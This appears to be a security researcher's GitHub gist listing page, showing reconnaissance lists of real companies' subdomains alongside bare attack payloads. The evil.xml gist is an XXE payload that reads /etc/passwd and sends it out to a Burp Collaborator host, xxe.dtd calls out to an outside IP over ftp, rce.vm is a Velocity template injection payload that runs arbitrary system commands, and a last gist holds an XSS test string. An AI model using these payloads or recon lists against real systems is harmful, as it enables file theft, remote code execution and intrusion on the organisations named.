Ben Sadeghipour nahamsec

nahamsec / gist:a0d01d9f6b89b32a68e7b26c74be691d

Created September 9, 2024 03:54

This file has been truncated, but you can view the full file.

	0-asic-qp-cr006rq-dangweb2242.event.flexport.com
	0-assets.event.flexport.com
	0-members.agu.org.unicat.nyeesurgnet.com
	0-webofknowledge.com.emu.nyee2020.com
	0.100.93.177.sent-via.netsuite.com.ttrus.com
	0.hotels.com
	0000.snch.org
	00000eagle.c21.com
	0000confidentialstreet.c21.com
	0000cr637.c21.com

nahamsec / evil.xml

Last active September 9, 2024 15:13

	<!ENTITY % xxePOC SYSTEM "file:///etc/passwd">
	<!ENTITY % exfildata "<!ENTITY % exfil SYSTEM 'http://7u2bvf9vu78d9wepre2c3qmg87e82x.burpcollaborator.net/?x=%xxePOC;'>">
	%exfildata;
	%exfil;

nahamsec / xxe.dtd

Last active September 9, 2024 15:13

	<!ENTITY % d SYSTEM "https://138.68.23.180:443">
	<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://138.68.23.180:443/%d;'>">

nahamsec / 1stleveldomainsbycount

Created June 25, 2020 19:44

This file has been truncated, but you can view the full file.

nahamsec / extracted-subdomains

Created June 25, 2020 18:51

This file has been truncated, but you can view the full file.

nahamsec / rce.vm

Created April 15, 2019 20:34

	#set ($e="exp")
	#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
	#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
	#set($sc = $e.getClass().forName("java.util.Scanner"))
	#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
	#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
	#if($scan.hasNext())
	$scan.next()
	#end

nahamsec / gist:143f4dcdc9ca4ef835c17b164939eef0

Created January 10, 2018 21:29

alert();//